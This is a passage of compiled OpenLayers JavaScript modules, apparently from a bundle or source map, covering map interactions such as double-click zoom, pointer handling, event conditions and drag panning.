this.__extends) || (function () {\n var extendStatics = function (d, b) {\n extendStatics = Object.setPrototypeOf ||\n ({ __proto__: [] } instanceof Array && function (d, b) { d.__proto__ = b; }) ||\n function (d, b) { for (var p in b) if (Object.prototype.hasOwnProperty.call(b, p)) d[p] = b[p]; };\n return extendStatics(d, b);\n };\n return function (d, b) {\n if (typeof b !== \"function\" && b !== null)\n throw new TypeError(\"Class extends value \" + String(b) + \" is not a constructor or null\");\n extendStatics(d, b);\n function __() { this.constructor = d; }\n d.prototype = b === null ? Object.create(b) : (__.prototype = b.prototype, new __());\n };\n})();\n/**\n * @module ol/interaction/Interaction\n */\nimport BaseObject from '../Object.js';\nimport InteractionProperty from './Property.js';\nimport { easeOut, linear } from '../easing.js';\n/***\n * @template Return\n * @typedef {import(\"../Observable\").OnSignature<import(\"../Observable\").EventTypes, import(\"../events/Event.js\").default, Return> &\n * import(\"../Observable\").OnSignature<import(\"../ObjectEventType\").Types|\n * 'change:active', import(\"../Object\").ObjectEvent, Return> &\n * import(\"../Observable\").CombinedOnSignature<import(\"../Observable\").EventTypes|import(\"../ObjectEventType\").Types|\n * 'change:active', Return>} InteractionOnSignature\n */\n/**\n * Object literal with config options for interactions.\n * @typedef {Object} InteractionOptions\n * @property {function(import(\"../MapBrowserEvent.js\").default):boolean} handleEvent\n * Method called by the map to notify the interaction that a browser event was\n * dispatched to the map. If the function returns a falsy value, propagation of\n * the event to other interactions in the map's interactions chain will be\n * prevented (this includes functions with no explicit return). The interactions\n * are traversed in reverse order of the interactions collection of the map.\n */\n/**\n * @classdesc\n * Abstract base class; normally only used for creating subclasses and not\n * instantiated in apps.\n * User actions that change the state of the map. Some are similar to controls,\n * but are not associated with a DOM element.\n * For example, {@link module:ol/interaction/KeyboardZoom~KeyboardZoom} is\n * functionally the same as {@link module:ol/control/Zoom~Zoom}, but triggered\n * by a keyboard event not a button element event.\n * Although interactions do not have a DOM element, some of them do render\n * vectors and so are visible on the screen.\n * @api\n */\nvar Interaction = /** @class */ (function (_super) {\n __extends(Interaction, _super);\n /**\n * @param {InteractionOptions} [opt_options] Options.\n */\n function Interaction(opt_options) {\n var _this = _super.call(this) || this;\n /***\n * @type {InteractionOnSignature<import(\"../events\").EventsKey>}\n */\n _this.on;\n /***\n * @type {InteractionOnSignature<import(\"../events\").EventsKey>}\n */\n _this.once;\n /***\n * @type {InteractionOnSignature<void>}\n */\n _this.un;\n if (opt_options && opt_options.handleEvent) {\n _this.handleEvent = opt_options.handleEvent;\n }\n /**\n * @private\n * @type {import(\"../PluggableMap.js\").default|null}\n */\n _this.map_ = null;\n _this.setActive(true);\n return _this;\n }\n /**\n * Return whether the interaction is currently active.\n * @return {boolean} `true` if the interaction is active, `false` otherwise.\n * @observable\n * @api\n */\n Interaction.prototype.getActive = function () {\n return /** @type {boolean} */ (this.get(InteractionProperty.ACTIVE));\n };\n /**\n * Get the map associated with this interaction.\n * @return {import(\"../PluggableMap.js\").default|null} Map.\n * @api\n */\n Interaction.prototype.getMap = function () {\n return this.map_;\n };\n /**\n * Handles the {@link module:ol/MapBrowserEvent~MapBrowserEvent map browser event}.\n * @param {import(\"../MapBrowserEvent.js\").default} mapBrowserEvent Map browser event.\n * @return {boolean} `false` to stop event propagation.\n * @api\n */\n Interaction.prototype.handleEvent = function (mapBrowserEvent) {\n return true;\n };\n /**\n * Activate or deactivate the interaction.\n * @param {boolean} active Active.\n * @observable\n * @api\n */\n Interaction.prototype.setActive = function (active) {\n this.set(InteractionProperty.ACTIVE, active);\n };\n /**\n * Remove the interaction from its current map and attach it to the new map.\n * Subclasses may set up event handlers to get notified about changes to\n * the map here.\n * @param {import(\"../PluggableMap.js\").default|null} map Map.\n */\n Interaction.prototype.setMap = function (map) {\n this.map_ = map;\n };\n return Interaction;\n}(BaseObject));\n/**\n * @param {import(\"../View.js\").default} view View.\n * @param {import(\"../coordinate.js\").Coordinate} delta Delta.\n * @param {number} [opt_duration] Duration.\n */\nexport function pan(view, delta, opt_duration) {\n var currentCenter = view.getCenterInternal();\n if (currentCenter) {\n var center = [currentCenter[0] + delta[0], currentCenter[1] + delta[1]];\n view.animateInternal({\n duration: opt_duration !== undefined ? opt_duration : 250,\n easing: linear,\n center: view.getConstrainedCenter(center),\n });\n }\n}\n/**\n * @param {import(\"../View.js\").default} view View.\n * @param {number} delta Delta from previous zoom level.\n * @param {import(\"../coordinate.js\").Coordinate} [opt_anchor] Anchor coordinate in the user projection.\n * @param {number} [opt_duration] Duration.\n */\nexport function zoomByDelta(view, delta, opt_anchor, opt_duration) {\n var currentZoom = view.getZoom();\n if (currentZoom === undefined) {\n return;\n }\n var newZoom = view.getConstrainedZoom(currentZoom + delta);\n var newResolution = view.getResolutionForZoom(newZoom);\n if (view.getAnimating()) {\n view.cancelAnimations();\n }\n view.animate({\n resolution: newResolution,\n anchor: opt_anchor,\n duration: opt_duration !== undefined ? opt_duration : 250,\n easing: easeOut,\n });\n}\nexport default Interaction;\n//# sourceMappingURL=Interaction.js.map","var __extends = (this && this.__extends) || (function () {\n var extendStatics = function (d, b) {\n extendStatics = Object.setPrototypeOf ||\n ({ __proto__: [] } instanceof Array && function (d, b) { d.__proto__ = b; }) ||\n function (d, b) { for (var p in b) if (Object.prototype.hasOwnProperty.call(b, p)) d[p] = b[p]; };\n return extendStatics(d, b);\n };\n return function (d, b) {\n if (typeof b !== \"function\" && b !== null)\n throw new TypeError(\"Class extends value \" + String(b) + \" is not a constructor or null\");\n extendStatics(d, b);\n function __() { this.constructor = d; }\n d.prototype = b === null ? Object.create(b) : (__.prototype = b.prototype, new __());\n };\n})();\n/**\n * @module ol/interaction/DoubleClickZoom\n */\nimport Interaction, { zoomByDelta } from './Interaction.js';\nimport MapBrowserEventType from '../MapBrowserEventType.js';\n/**\n * @typedef {Object} Options\n * @property {number} [duration=250] Animation duration in milliseconds.\n * @property {number} [delta=1] The zoom delta applied on each double click.\n */\n/**\n * @classdesc\n * Allows the user to zoom by double-clicking on the map.\n * @api\n */\nvar DoubleClickZoom = /** @class */ (function (_super) {\n __extends(DoubleClickZoom, _super);\n /**\n * @param {Options} [opt_options] Options.\n */\n function DoubleClickZoom(opt_options) {\n var _this = _super.call(this) || this;\n var options = opt_options ? opt_options : {};\n /**\n * @private\n * @type {number}\n */\n _this.delta_ = options.delta ? options.delta : 1;\n /**\n * @private\n * @type {number}\n */\n _this.duration_ = options.duration !== undefined ? options.duration : 250;\n return _this;\n }\n /**\n * Handles the {@link module:ol/MapBrowserEvent~MapBrowserEvent map browser event} (if it was a\n * doubleclick) and eventually zooms the map.\n * @param {import(\"../MapBrowserEvent.js\").default} mapBrowserEvent Map browser event.\n * @return {boolean} `false` to stop event propagation.\n */\n DoubleClickZoom.prototype.handleEvent = function (mapBrowserEvent) {\n var stopEvent = false;\n if (mapBrowserEvent.type == MapBrowserEventType.DBLCLICK) {\n var browserEvent = /** @type {MouseEvent} */ (mapBrowserEvent.originalEvent);\n var map = mapBrowserEvent.map;\n var anchor = mapBrowserEvent.coordinate;\n var delta = browserEvent.shiftKey ? -this.delta_ : this.delta_;\n var view = map.getView();\n zoomByDelta(view, delta, anchor, this.duration_);\n browserEvent.preventDefault();\n stopEvent = true;\n }\n return !stopEvent;\n };\n return DoubleClickZoom;\n}(Interaction));\nexport default DoubleClickZoom;\n//# sourceMappingURL=DoubleClickZoom.js.map","var __extends = (this && this.__extends) || (function () {\n var extendStatics = function (d, b) {\n extendStatics = Object.setPrototypeOf ||\n ({ __proto__: [] } instanceof Array && function (d, b) { d.__proto__ = b; }) ||\n function (d, b) { for (var p in b) if (Object.prototype.hasOwnProperty.call(b, p)) d[p] = b[p]; };\n return extendStatics(d, b);\n };\n return function (d, b) {\n if (typeof b !== \"function\" && b !== null)\n throw new TypeError(\"Class extends value \" + String(b) + \" is not a constructor or null\");\n extendStatics(d, b);\n function __() { this.constructor = d; }\n d.prototype = b === null ? Object.create(b) : (__.prototype = b.prototype, new __());\n };\n})();\n/**\n * @module ol/interaction/Pointer\n */\nimport Interaction from './Interaction.js';\nimport MapBrowserEventType from '../MapBrowserEventType.js';\n/**\n * @typedef {Object} Options\n * @property {function(import(\"../MapBrowserEvent.js\").default):boolean} [handleDownEvent]\n * Function handling \"down\" events. If the function returns `true` then a drag\n * sequence is started.\n * @property {function(import(\"../MapBrowserEvent.js\").default):void} [handleDragEvent]\n * Function handling \"drag\" events. This function is called on \"move\" events\n * during a drag sequence.\n * @property {function(import(\"../MapBrowserEvent.js\").default):boolean} [handleEvent]\n * Method called by the map to notify the interaction that a browser event was\n * dispatched to the map. The function may return `false` to prevent the\n * propagation of the event to other interactions in the map's interactions\n * chain.\n * @property {function(import(\"../MapBrowserEvent.js\").default):void} [handleMoveEvent]\n * Function handling \"move\" events. This function is called on \"move\" events.\n * This functions is also called during a drag sequence, so during a drag\n * sequence both the `handleDragEvent` function and this function are called.\n * If `handleDownEvent` is defined and it returns true this function will not\n * be called during a drag sequence.\n * @property {function(import(\"../MapBrowserEvent.js\").default):boolean} [handleUpEvent]\n * Function handling \"up\" events. If the function returns `false` then the\n * current drag sequence is stopped.\n * @property {function(boolean):boolean} [stopDown]\n * Should the down event be propagated to other interactions, or should be\n * stopped?\n */\n/**\n * @classdesc\n * Base class that calls user-defined functions on `down`, `move` and `up`\n * events. This class also manages \"drag sequences\".\n *\n * When the `handleDownEvent` user function returns `true` a drag sequence is\n * started. During a drag sequence the `handleDragEvent` user function is\n * called on `move` events. The drag sequence ends when the `handleUpEvent`\n * user function is called and returns `false`.\n * @api\n */\nvar PointerInteraction = /** @class */ (function (_super) {\n __extends(PointerInteraction, _super);\n /**\n * @param {Options} [opt_options] Options.\n */\n function PointerInteraction(opt_options) {\n var _this = this;\n var options = opt_options ? opt_options : {};\n _this = _super.call(this, \n /** @type {import(\"./Interaction.js\").InteractionOptions} */ (options)) || this;\n if (options.handleDownEvent) {\n _this.handleDownEvent = options.handleDownEvent;\n }\n if (options.handleDragEvent) {\n _this.handleDragEvent = options.handleDragEvent;\n }\n if (options.handleMoveEvent) {\n _this.handleMoveEvent = options.handleMoveEvent;\n }\n if (options.handleUpEvent) {\n _this.handleUpEvent = options.handleUpEvent;\n }\n if (options.stopDown) {\n _this.stopDown = options.stopDown;\n }\n /**\n * @type {boolean}\n * @protected\n */\n _this.handlingDownUpSequence = false;\n /**\n * @type {Array<PointerEvent>}\n * @protected\n */\n _this.targetPointers = [];\n return _this;\n }\n /**\n * Returns the current number of pointers involved in the interaction,\n * e.g. `2` when two fingers are used.\n * @return {number} The number of pointers.\n * @api\n */\n PointerInteraction.prototype.getPointerCount = function () {\n return this.targetPointers.length;\n };\n /**\n * Handle pointer down events.\n * @param {import(\"../MapBrowserEvent.js\").default} mapBrowserEvent Event.\n * @return {boolean} If the event was consumed.\n * @protected\n */\n PointerInteraction.prototype.handleDownEvent = function (mapBrowserEvent) {\n return false;\n };\n /**\n * Handle pointer drag events.\n * @param {import(\"../MapBrowserEvent.js\").default} mapBrowserEvent Event.\n * @protected\n */\n PointerInteraction.prototype.handleDragEvent = function (mapBrowserEvent) { };\n /**\n * Handles the {@link module:ol/MapBrowserEvent~MapBrowserEvent map browser event} and may call into\n * other functions, if event sequences like e.g. 'drag' or 'down-up' etc. are\n * detected.\n * @param {import(\"../MapBrowserEvent.js\").default} mapBrowserEvent Map browser event.\n * @return {boolean} `false` to stop event propagation.\n * @api\n */\n PointerInteraction.prototype.handleEvent = function (mapBrowserEvent) {\n if (!mapBrowserEvent.originalEvent) {\n return true;\n }\n var stopEvent = false;\n this.updateTrackedPointers_(mapBrowserEvent);\n if (this.handlingDownUpSequence) {\n if (mapBrowserEvent.type == MapBrowserEventType.POINTERDRAG) {\n this.handleDragEvent(mapBrowserEvent);\n // prevent page scrolling during dragging\n mapBrowserEvent.originalEvent.preventDefault();\n }\n else if (mapBrowserEvent.type == MapBrowserEventType.POINTERUP) {\n var handledUp = this.handleUpEvent(mapBrowserEvent);\n this.handlingDownUpSequence =\n handledUp && this.targetPointers.length > 0;\n }\n }\n else {\n if (mapBrowserEvent.type == MapBrowserEventType.POINTERDOWN) {\n var handled = this.handleDownEvent(mapBrowserEvent);\n this.handlingDownUpSequence = handled;\n stopEvent = this.stopDown(handled);\n }\n else if (mapBrowserEvent.type == MapBrowserEventType.POINTERMOVE) {\n this.handleMoveEvent(mapBrowserEvent);\n }\n }\n return !stopEvent;\n };\n /**\n * Handle pointer move events.\n * @param {import(\"../MapBrowserEvent.js\").default} mapBrowserEvent Event.\n * @protected\n */\n PointerInteraction.prototype.handleMoveEvent = function (mapBrowserEvent) { };\n /**\n * Handle pointer up events.\n * @param {import(\"../MapBrowserEvent.js\").default} mapBrowserEvent Event.\n * @return {boolean} If the event was consumed.\n * @protected\n */\n PointerInteraction.prototype.handleUpEvent = function (mapBrowserEvent) {\n return false;\n };\n /**\n * This function is used to determine if \"down\" events should be propagated\n * to other interactions or should be stopped.\n * @param {boolean} handled Was the event handled by the interaction?\n * @return {boolean} Should the `down` event be stopped?\n */\n PointerInteraction.prototype.stopDown = function (handled) {\n return handled;\n };\n /**\n * @param {import(\"../MapBrowserEvent.js\").default} mapBrowserEvent Event.\n * @private\n */\n PointerInteraction.prototype.updateTrackedPointers_ = function (mapBrowserEvent) {\n if (mapBrowserEvent.activePointers) {\n this.targetPointers = mapBrowserEvent.activePointers;\n }\n };\n return PointerInteraction;\n}(Interaction));\n/**\n * @param {Array<PointerEvent>} pointerEvents List of events.\n * @return {import(\"../pixel.js\").Pixel} Centroid pixel.\n */\nexport function centroid(pointerEvents) {\n var length = pointerEvents.length;\n var clientX = 0;\n var clientY = 0;\n for (var i = 0; i < length; i++) {\n clientX += pointerEvents[i].clientX;\n clientY += pointerEvents[i].clientY;\n }\n return [clientX / length, clientY / length];\n}\nexport default PointerInteraction;\n//# sourceMappingURL=Pointer.js.map","/**\n * @module ol/events/condition\n */\nimport MapBrowserEventType from '../MapBrowserEventType.js';\nimport { FALSE, TRUE } from '../functions.js';\nimport { MAC, WEBKIT } from '../has.js';\nimport { assert } from '../asserts.js';\n/**\n * A function that takes an {@link module:ol/MapBrowserEvent~MapBrowserEvent} and returns a\n * `{boolean}`. If the condition is met, true should be returned.\n *\n * @typedef {function(this: ?, import(\"../MapBrowserEvent.js\").default): boolean} Condition\n */\n/**\n * Creates a condition function that passes when all provided conditions pass.\n * @param {...Condition} var_args Conditions to check.\n * @return {Condition} Condition function.\n */\nexport function all(var_args) {\n var conditions = arguments;\n /**\n * @param {import(\"../MapBrowserEvent.js\").default} event Event.\n * @return {boolean} All conditions passed.\n */\n return function (event) {\n var pass = true;\n for (var i = 0, ii = conditions.length; i < ii; ++i) {\n pass = pass && conditions[i](event);\n if (!pass) {\n break;\n }\n }\n return pass;\n };\n}\n/**\n * Return `true` if only the alt-key is pressed, `false` otherwise (e.g. when\n * additionally the shift-key is pressed).\n *\n * @param {import(\"../MapBrowserEvent.js\").default} mapBrowserEvent Map browser event.\n * @return {boolean} True if only the alt key is pressed.\n * @api\n */\nexport var altKeyOnly = function (mapBrowserEvent) {\n var originalEvent = /** @type {KeyboardEvent|MouseEvent|TouchEvent} */ (mapBrowserEvent.originalEvent);\n return (originalEvent.altKey &&\n !(originalEvent.metaKey || originalEvent.ctrlKey) &&\n !originalEvent.shiftKey);\n};\n/**\n * Return `true` if only the alt-key and shift-key is pressed, `false` otherwise\n * (e.g. when additionally the platform-modifier-key is pressed).\n *\n * @param {import(\"../MapBrowserEvent.js\").default} mapBrowserEvent Map browser event.\n * @return {boolean} True if only the alt and shift keys are pressed.\n * @api\n */\nexport var altShiftKeysOnly = function (mapBrowserEvent) {\n var originalEvent = /** @type {KeyboardEvent|MouseEvent|TouchEvent} */ (mapBrowserEvent.originalEvent);\n return (originalEvent.altKey &&\n !(originalEvent.metaKey || originalEvent.ctrlKey) &&\n originalEvent.shiftKey);\n};\n/**\n * Return `true` if the map has the focus. This condition requires a map target\n * element with a `tabindex` attribute, e.g. `<div id=\"map\" tabindex=\"1\">`.\n *\n * @param {import(\"../MapBrowserEvent.js\").default} event Map browser event.\n * @return {boolean} The map has the focus.\n * @api\n */\nexport var focus = function (event) {\n var targetElement = event.map.getTargetElement();\n var activeElement = event.map.getOwnerDocument().activeElement;\n return targetElement.contains(activeElement);\n};\n/**\n * Return `true` if the map has the focus or no 'tabindex' attribute set.\n *\n * @param {import(\"../MapBrowserEvent.js\").default} event Map browser event.\n * @return {boolean} The map container has the focus or no 'tabindex' attribute.\n */\nexport var focusWithTabindex = function (event) {\n return event.map.getTargetElement().hasAttribute('tabindex')\n ? focus(event)\n : true;\n};\n/**\n * Return always true.\n *\n * @param {import(\"../MapBrowserEvent.js\").default} mapBrowserEvent Map browser event.\n * @return {boolean} True.\n * @api\n */\nexport var always = TRUE;\n/**\n * Return `true` if the event is a `click` event, `false` otherwise.\n *\n * @param {import(\"../MapBrowserEvent.js\").default} mapBrowserEvent Map browser event.\n * @return {boolean} True if the event is a map `click` event.\n * @api\n */\nexport var click = function (mapBrowserEvent) {\n return mapBrowserEvent.type == MapBrowserEventType.CLICK;\n};\n/**\n * Return `true` if the event has an \"action\"-producing mouse button.\n *\n * By definition, this includes left-click on windows/linux, and left-click\n * without the ctrl key on Macs.\n *\n * @param {import(\"../MapBrowserEvent.js\").default} mapBrowserEvent Map browser event.\n * @return {boolean} The result.\n */\nexport var mouseActionButton = function (mapBrowserEvent) {\n var originalEvent = /** @type {MouseEvent} */ (mapBrowserEvent.originalEvent);\n return originalEvent.button == 0 && !(WEBKIT && MAC && originalEvent.ctrlKey);\n};\n/**\n * Return always false.\n *\n * @param {import(\"../MapBrowserEvent.js\").default} mapBrowserEvent Map browser event.\n * @return {boolean} False.\n * @api\n */\nexport var never = FALSE;\n/**\n * Return `true` if the browser event is a `pointermove` event, `false`\n * otherwise.\n *\n * @param {import(\"../MapBrowserEvent.js\").default} mapBrowserEvent Map browser event.\n * @return {boolean} True if the browser event is a `pointermove` event.\n * @api\n */\nexport var pointerMove = function (mapBrowserEvent) {\n return mapBrowserEvent.type == 'pointermove';\n};\n/**\n * Return `true` if the event is a map `singleclick` event, `false` otherwise.\n *\n * @param {import(\"../MapBrowserEvent.js\").default} mapBrowserEvent Map browser event.\n * @return {boolean} True if the event is a map `singleclick` event.\n * @api\n */\nexport var singleClick = function (mapBrowserEvent) {\n return mapBrowserEvent.type == MapBrowserEventType.SINGLECLICK;\n};\n/**\n * Return `true` if the event is a map `dblclick` event, `false` otherwise.\n *\n * @param {import(\"../MapBrowserEvent.js\").default} mapBrowserEvent Map browser event.\n * @return {boolean} True if the event is a map `dblclick` event.\n * @api\n */\nexport var doubleClick = function (mapBrowserEvent) {\n return mapBrowserEvent.type == MapBrowserEventType.DBLCLICK;\n};\n/**\n * Return `true` if no modifier key (alt-, shift- or platform-modifier-key) is\n * pressed.\n *\n * @param {import(\"../MapBrowserEvent.js\").default} mapBrowserEvent Map browser event.\n * @return {boolean} True only if there no modifier keys are pressed.\n * @api\n */\nexport var noModifierKeys = function (mapBrowserEvent) {\n var originalEvent = /** @type {KeyboardEvent|MouseEvent|TouchEvent} */ (mapBrowserEvent.originalEvent);\n return (!originalEvent.altKey &&\n !(originalEvent.metaKey || originalEvent.ctrlKey) &&\n !originalEvent.shiftKey);\n};\n/**\n * Return `true` if only the platform-modifier-key (the meta-key on Mac,\n * ctrl-key otherwise) is pressed, `false` otherwise (e.g. when additionally\n * the shift-key is pressed).\n *\n * @param {import(\"../MapBrowserEvent.js\").default} mapBrowserEvent Map browser event.\n * @return {boolean} True if only the platform modifier key is pressed.\n * @api\n */\nexport var platformModifierKeyOnly = function (mapBrowserEvent) {\n var originalEvent = /** @type {KeyboardEvent|MouseEvent|TouchEvent} */ (mapBrowserEvent.originalEvent);\n return (!originalEvent.altKey &&\n (MAC ? originalEvent.metaKey : originalEvent.ctrlKey) &&\n !originalEvent.shiftKey);\n};\n/**\n * Return `true` if only the shift-key is pressed, `false` otherwise (e.g. when\n * additionally the alt-key is pressed).\n *\n * @param {import(\"../MapBrowserEvent.js\").default} mapBrowserEvent Map browser event.\n * @return {boolean} True if only the shift key is pressed.\n * @api\n */\nexport var shiftKeyOnly = function (mapBrowserEvent) {\n var originalEvent = /** @type {KeyboardEvent|MouseEvent|TouchEvent} */ (mapBrowserEvent.originalEvent);\n return (!originalEvent.altKey &&\n !(originalEvent.metaKey || originalEvent.ctrlKey) &&\n originalEvent.shiftKey);\n};\n/**\n * Return `true` if the target element is not editable, i.e. not an `input`,\n * `select`, or `textarea` element and no `contenteditable` attribute is\n * set or inherited, `false` otherwise.\n *\n * @param {import(\"../MapBrowserEvent.js\").default} mapBrowserEvent Map browser event.\n * @return {boolean} True only if the target element is not editable.\n * @api\n */\nexport var targetNotEditable = function (mapBrowserEvent) {\n var originalEvent = /** @type {KeyboardEvent|MouseEvent|TouchEvent} */ (mapBrowserEvent.originalEvent);\n var tagName = /** @type {Element} */ (originalEvent.target).tagName;\n return (tagName !== 'INPUT' &&\n tagName !== 'SELECT' &&\n tagName !== 'TEXTAREA' &&\n // `isContentEditable` is only available on `HTMLElement`, but it may also be a\n // different type like `SVGElement`.\n // @ts-ignore\n !originalEvent.target.isContentEditable);\n};\n/**\n * Return `true` if the event originates from a mouse device.\n *\n * @param {import(\"../MapBrowserEvent.js\").default} mapBrowserEvent Map browser event.\n * @return {boolean} True if the event originates from a mouse device.\n * @api\n */\nexport var mouseOnly = function (mapBrowserEvent) {\n var pointerEvent = /** @type {import(\"../MapBrowserEvent\").default} */ (mapBrowserEvent).originalEvent;\n assert(pointerEvent !== undefined, 56); // mapBrowserEvent must originate from a pointer event\n // see https://www.w3.org/TR/pointerevents/#widl-PointerEvent-pointerType\n return pointerEvent.pointerType == 'mouse';\n};\n/**\n * Return `true` if the event originates from a touchable device.\n *\n * @param {import(\"../MapBrowserEvent.js\").default} mapBrowserEvent Map browser event.\n * @return {boolean} True if the event originates from a touchable device.\n * @api\n */\nexport var touchOnly = function (mapBrowserEvent) {\n var pointerEvt = /** @type {import(\"../MapBrowserEvent\").default} */ (mapBrowserEvent).originalEvent;\n assert(pointerEvt !== undefined, 56); // mapBrowserEvent must originate from a pointer event\n // see https://www.w3.org/TR/pointerevents/#widl-PointerEvent-pointerType\n return pointerEvt.pointerType === 'touch';\n};\n/**\n * Return `true` if the event originates from a digital pen.\n *\n * @param {import(\"../MapBrowserEvent.js\").default} mapBrowserEvent Map browser event.\n * @return {boolean} True if the event originates from a digital pen.\n * @api\n */\nexport var penOnly = function (mapBrowserEvent) {\n var pointerEvt = /** @type {import(\"../MapBrowserEvent\").default} */ (mapBrowserEvent).originalEvent;\n assert(pointerEvt !== undefined, 56); // mapBrowserEvent must originate from a pointer event\n // see https://www.w3.org/TR/pointerevents/#widl-PointerEvent-pointerType\n return pointerEvt.pointerType === 'pen';\n};\n/**\n * Return `true` if the event originates from a primary pointer in\n * contact with the surface or if the left mouse button is pressed.\n * See https://www.w3.org/TR/pointerevents/#button-states.\n *\n * @param {import(\"../MapBrowserEvent.js\").default} mapBrowserEvent Map browser event.\n * @return {boolean} True if the event originates from a primary pointer.\n * @api\n */\nexport var primaryAction = function (mapBrowserEvent) {\n var pointerEvent = /** @type {import(\"../MapBrowserEvent\").default} */ (mapBrowserEvent).originalEvent;\n assert(pointerEvent !== undefined, 56); // mapBrowserEvent must originate from a pointer event\n return pointerEvent.isPrimary && pointerEvent.button === 0;\n};\n//# sourceMappingURL=condition.js.map","var __extends = (this && this.__extends) || (function () {\n var extendStatics = function (d, b) {\n extendStatics = Object.setPrototypeOf ||\n ({ __proto__: [] } instanceof Array && function (d, b) { d.__proto__ = b; }) ||\n function (d, b) { for (var p in b) if (Object.prototype.hasOwnProperty.call(b, p)) d[p] = b[p]; };\n return extendStatics(d, b);\n };\n return function (d, b) {\n if (typeof b !== \"function\" && b !== null)\n throw new TypeError(\"Class extends value \" + String(b) + \" is not a constructor or null\");\n extendStatics(d, b);\n function __() { this.constructor = d; }\n d.prototype = b === null ? Object.create(b) : (__.prototype = b.prototype, new __());\n };\n})();\n/**\n * @module ol/interaction/DragPan\n */\nimport PointerInteraction, { centroid as centroidFromPointers, } from './Pointer.js';\nimport { FALSE } from '../functions.js';\nimport { all, focusWithTabindex, noModifierKeys, primaryAction, } from '../events/condition.js';\nimport { easeOut } from '../easing.js';\nimport { rotate as rotateCoordinate, scale as scaleCoordinate, } from '../coordinate.js';\n/**\n * @typedef {Object} Options\n * @property {import(\"../events/condition.js\").Condition} [condition] A function that takes an {@link module:ol/MapBrowserEvent~MapBrowserEvent} and returns a boolean\n * to indicate whether that event should be handled.\n * Default is {@link module:ol/events/condition.noModifierKeys} and {@link module:ol/events/condition.primaryAction}.\n * @property {boolean} [onFocusOnly=false] When the map's target has a `tabindex` attribute set,\n * the interaction will only handle events when the map has the focus.\n * @property {import(\"../Kinetic.js\").default} [kinetic] Kinetic inertia to apply to the pan.\n */\n/**\n * @classdesc\n * Allows the user to pan the map by dragging the map.\n * @api\n */\nvar DragPan = /** @class */ (function (_super) {\n __extends(DragPan, _super);\n /**\n * @param {Options} [opt_options] Options.\n */\n function DragPan(opt_options) {\n var _this = _super.call(this, {\n stopDown: FALSE,\n }) || this;\n var options = opt_options ? opt_options : {};\n /**\n * @private\n * @type {import(\"../Kinetic.js\").default|undefined}\n */\n _this.kinetic_ = options.kinetic;\n /**\n * @type {import(\"../pixel.js\").Pixel}\n */\n _this.lastCentroid = null;\n /**\n * @type {number}\n */\n _this.lastPointersCount_;\n /**\n * @type {boolean}\n */\n _this.panning_ = false;\n var condition = options.condition\n ? options.condition\n : all(noModifierKeys, primaryAction);\n /**\n * @private\n * @type {import(\"../events/condition.js\").Condition}\n */\n _this.condition_ = options.onFocusOnly\n ? all(focusWithTabindex, condition)\n : condition;\n /**\n * @private\n * @type {boolean}\n */\n _this.noKinetic_ = false;\n return _this;\n }\n /**\n * Handle pointer drag events.\n * @param {import(\"../MapBrowserEvent.js\").default} mapBrowserEvent Event.\n */\n DragPan.prototype.handleDragEvent = function (mapBrowserEvent) {\n if (!this.panning_) {\n this.panning_ = true;\n this.getMap().getView().beginInteraction();\n }\n var targetPointers = this.targetPointers;\n var centroid = centroidFromPointers(targetPointers);\n if (targetPointers.length == this.lastPointersCount_) {\n if (this.kinetic_) {\n this.kinetic_.update(centroid[0], centroid[1]);\n }\n if (this.lastCentroid) {\n var delta = [\n this.lastCentroid[0] - centroid[0],\n centroid[1] - this.lastCentroid[1],\n ];\n var map = mapBrowserEvent.map;\n var view = map.getView();\n scaleCoordinate(delta, view.getResolution());\n rotateCoordinate(delta, view.getRotation());\n view.adjustCenterInternal(delta);\n }\n }\n else if (this.kinetic_) {\n // reset so we don't overestimate the kinetic energy after\n // after one finger down, tiny drag, second finger down\n this.kinetic_.begin();\n }\n this.lastCentroid = centroid;\n this.lastPointersCount_ = targetPointers.length;\n mapBrowserEvent.originalEvent.preventDefault();\n };\n /**\n * Handle pointer up events.\n * @param {import(\"../MapBrowserEvent.js\").default} mapBrowserEvent Event.\n * @return {boolean} If the event was consumed.\n */\n DragPan.prototype.handleUpEvent = function (mapBrowserEvent) {\n var map = mapBrowserEvent.map;\n var view = map.getView();\n if (this.targetPointers.length === 0) {\n if (!this.noKinetic_ && this.kinetic_ && this.kinetic_.end()) {\n var distance = this.kinetic_.getDistance();\n var angle = this.kinetic_.getAngle();\n var center = view.getCenterInternal();\n var centerpx = map.getPixelFromCoordinateInternal(center);\n var dest = map.getCoordinateFromPixelInternal([\n centerpx[0] - distance * Math.cos(angle),\n centerpx[1] - distance * Math.sin(angle),\n ]);\n view.animateInternal({\n center: view.getConstrainedCenter(dest),\n duration: 500,\n easing: easeOut,\n });\n }\n if (this.panning_) {\n this.panning_ = false;\n view.endInteraction();\n }\n return false;\n }\n else {\n if (this.kinetic_) {\n // reset so we don't overestimate the kinetic energy after\n // after one finger up, tiny drag, second finger up\n this.kinetic_.begin();\n }\n this.lastCentroid = null;\n return true;\n }\n };\n /**\n * Handle pointer down events.\n * @param {import(\"../MapBrowserEvent.js\").default} mapBrowserEvent Event.\n * @return {boolean} If the event was consumed.\n */\n DragPan.prototype.handleDownEvent = function (mapBrowserEvent) {\n if (this.targetPointers.length > 0 && this.condition_(mapBrowserEvent)) {\n var map = mapBrowserEvent.map;\n var view = map.getView();\n this.lastCentroid = null;\n // stop any current animation\n if (view.getAnimating()) {\n view.cancelAnimations();\n }\n if (this.kinetic_) {\n this.kinetic_.begin();\n }\n // No kinetic as soon as more than one pointer on the screen is\n // detected. This is to prevent nasty pans after pinch.\n this.noKinetic_ = this.targetPointers.length > 1;\n return true;\n }\n else {\n return false;\n }\n };\n return DragPan;\n}(PointerInteraction));\nexport default DragPan;\n//# sourceMappingURL=DragPan.js.map","var __extends = (this && this.__extends) || (function () {\n var extendStatics = function (d, b) {\n extendStatics = Object.setPrototypeOf ||\n ({ __proto__: [] } instanceof Array && function (d, b) { d.__proto__ = b; }) ||\n function (d, b) { for (var p in b) if (Object.prototype.hasOwnProperty.call(b, p)) d[p] = b[p]; };\n return extendStatics(d, b);\n };\n return function (d, b) {\n if (typeof b !== \"function\" && b !== null)\n throw new TypeError(\"Class extends value \" + String(b) + \" is not a constructor or null\");\n extendStatics(d, b);\n function __() { this.constructor = d; }\n d.prototype = b === null ? Object.create(b) : (__.prototype = b.prototype, new __());\n };\n})();\n/**\n * @module ol/interaction/DragRotate\n */\nimport PointerInteraction from './Pointer.js';\nimport { FALSE } from '../functions.js';\nimport { altShiftKeysOnly, mouseActionButton, mouseOnly, } from '../events/condition.js';\nimport { disable } from '../rotationconstraint.js';\n/**\n * @typedef {Object} Options\n * @property 